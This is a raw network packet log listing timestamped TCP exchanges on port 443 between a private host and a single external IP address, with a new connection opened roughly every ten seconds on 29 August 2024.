Aug 29, 2024 12:43:38.071351051 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.071475029 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.071731091 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.071897984 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.071959972 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.293977022 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.294306040 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.294585943 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.294635057 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.294675112 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.294704914 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.548480034 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.548692942 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.548748016 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.548803091 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.548829079 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.548868895 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.548955917 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.548996925 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.549155951 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.549220085 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.549268007 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.549315929 CEST	443	49795	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:38.549335957 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:38.549426079 CEST	49795	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:48.553091049 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:48.553214073 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:48.553524971 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:48.553663015 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:48.553718090 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:48.778630972 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:48.778831959 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:48.779185057 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:48.779232979 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:48.779263020 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:48.779285908 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:49.031938076 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:49.032136917 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:49.032219887 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:49.032365084 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:49.032417059 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:49.032636881 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:49.032686949 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:49.032854080 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:49.032888889 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:49.033047915 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:49.033083916 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:49.033098936 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:49.033153057 CEST	443	49796	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:49.033216953 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:49.033333063 CEST	49796	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.035113096 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.035238028 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.035489082 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.035634995 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.035692930 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.256644964 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.256946087 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.257245064 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.257293940 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.257324934 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.257350922 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.510915995 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.511166096 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.511248112 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.511310101 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.511384964 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.511539936 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.511593103 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.511774063 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.511821985 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.511981010 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.512015104 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.512196064 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.512238026 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.512265921 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:59.512309074 CEST	443	49797	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:59.512356997 CEST	49797	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:09.563915968 CEST	49798	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:09.563945055 CEST	443	49798	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:09.564122915 CEST	49798	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:09.564346075 CEST	49798	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:09.564357996 CEST	443	49798	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:09.784028053 CEST	443	49798	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:09.784382105 CEST	49798	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:09.784737110 CEST	49798	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:09.784748077 CEST	443	49798	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:09.784776926 CEST	49798	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:09.784785986 CEST	443	49798	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:10.058836937 CEST	443	49798	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:10.058875084 CEST	443	49798	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:10.058897972 CEST	443	49798	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:10.058989048 CEST	443	49798	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:10.059005022 CEST	49798	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:10.059096098 CEST	49798	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:10.059158087 CEST	49798	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:10.059287071 CEST	49798	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:10.059299946 CEST	443	49798	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.092920065 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.093022108 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.093278885 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.093477964 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.093522072 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.319252014 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.319425106 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.319704056 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.319735050 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.319820881 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.319844007 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.589098930 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.589235067 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.589345932 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.589356899 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.589404106 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.589430094 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.589533091 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.589553118 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.589637041 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.589663982 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.589715004 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:20.589734077 CEST	443	49799	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:20.589764118 CEST	49799	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:30.621758938 CEST	49800	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:30.621783972 CEST	443	49800	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:30.621989965 CEST	49800	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:30.622287035 CEST	49800	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:30.622297049 CEST	443	49800	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:30.834747076 CEST	443	49800	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:30.834944963 CEST	49800	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:30.835253000 CEST	49800	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:30.835258961 CEST	443	49800	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:30.835374117 CEST	49800	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:30.835385084 CEST	443	49800	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:31.092299938 CEST	443	49800	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:31.092365980 CEST	443	49800	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:31.092430115 CEST	443	49800	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:31.092535973 CEST	443	49800	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:31.092679024 CEST	49800	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:31.092679024 CEST	49800	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:31.092870951 CEST	49800	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:31.093061924 CEST	49800	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:31.093070984 CEST	443	49800	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.103883982 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.103923082 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.104207039 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.104775906 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.104805946 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.321748972 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.321887016 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.322227001 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.322248936 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.322343111 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.322351933 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.578321934 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.578378916 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.578463078 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.578481913 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.578490973 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.578640938 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:41.578738928 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.578980923 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.578980923 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.884185076 CEST	49801	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:41.884226084 CEST	443	49801	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:51.617067099 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:51.617180109 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:51.617475986 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:51.617635965 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:51.617698908 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:51.836021900 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:51.836493015 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:51.836867094 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:51.836874008 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:51.836987972 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:51.837006092 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:52.095902920 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:52.096074104 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:52.096152067 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:52.096342087 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:52.096370935 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:52.096400023 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:52.096558094 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:52.096658945 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:52.096832037 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:52.096832991 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:52.096879005 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:52.096918106 CEST	443	49802	172.67.207.219	192.168.11.20
Aug 29, 2024 12:44:52.097632885 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:44:52.097632885 CEST	49802	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.146039963 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.146074057 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.146245003 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.146446943 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.146462917 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.367197037 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.367451906 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.367760897 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.367801905 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.367917061 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.367980003 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.626568079 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.626744986 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.626744032 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.626826048 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.626898050 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.627022028 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.627063990 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.627123117 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.627213001 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.627268076 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:02.627307892 CEST	443	49803	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:02.627350092 CEST	49803	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:12.675043106 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:12.675137997 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:12.675345898 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:12.675533056 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:12.675590992 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:12.898814917 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:12.899025917 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:12.899266958 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:12.899333954 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:12.899363995 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:12.899399042 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:13.157681942 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:13.157752037 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:13.157798052 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:13.157869101 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:13.157901049 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:13.157917023 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:13.157932043 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:13.157932043 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:13.158086061 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:13.158293962 CEST	49804	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:13.158314943 CEST	443	49804	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.173151016 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.173187017 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.173451900 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.173724890 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.173744917 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.387717962 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.387957096 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.388278008 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.388293982 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.388396978 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.388411999 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.646671057 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.646874905 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.646934032 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.646996975 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.647088051 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.647147894 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.647173882 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.647243977 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.647376060 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.647376060 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:23.647449970 CEST	443	49805	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:23.647466898 CEST	49805	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:33.654855013 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:33.654994011 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:33.655265093 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:33.655427933 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:33.655487061 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:33.877553940 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:33.877762079 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:33.878011942 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:33.878062963 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:33.878149033 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:33.878189087 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:34.136981964 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:34.137222052 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:34.137227058 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:34.137265921 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:34.137444973 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:34.137445927 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:34.137516022 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:34.137727976 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:34.137783051 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:34.137931108 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:34.138000011 CEST	49806	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:34.138058901 CEST	443	49806	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.152338028 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.152417898 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.152595043 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.152777910 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.152821064 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.373939037 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.374206066 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.374497890 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.374547958 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.374577999 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.374603033 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.642472982 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.642620087 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.642736912 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.642740965 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.642770052 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.642899990 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.642940998 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.642962933 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.643003941 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:44.643140078 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.643141031 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.948498964 CEST	49807	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:44.948568106 CEST	443	49807	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:54.650120020 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:54.650155067 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:54.650326967 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:54.650551081 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:54.650572062 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:54.869365931 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:54.869525909 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:54.869875908 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:54.869926929 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:54.869956970 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:54.869982004 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:55.129000902 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:55.129225016 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:55.129288912 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:55.129468918 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:55.129528999 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:55.129700899 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:55.129751921 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:55.129879951 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:55.129951954 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:55.130063057 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:55.130095005 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:55.130167007 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:55.130234957 CEST	443	49808	172.67.207.219	192.168.11.20
Aug 29, 2024 12:45:55.130299091 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:45:55.130418062 CEST	49808	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.132471085 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.132575989 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.132872105 CEST	49809	443	192.168.11.20	172.67.207.219
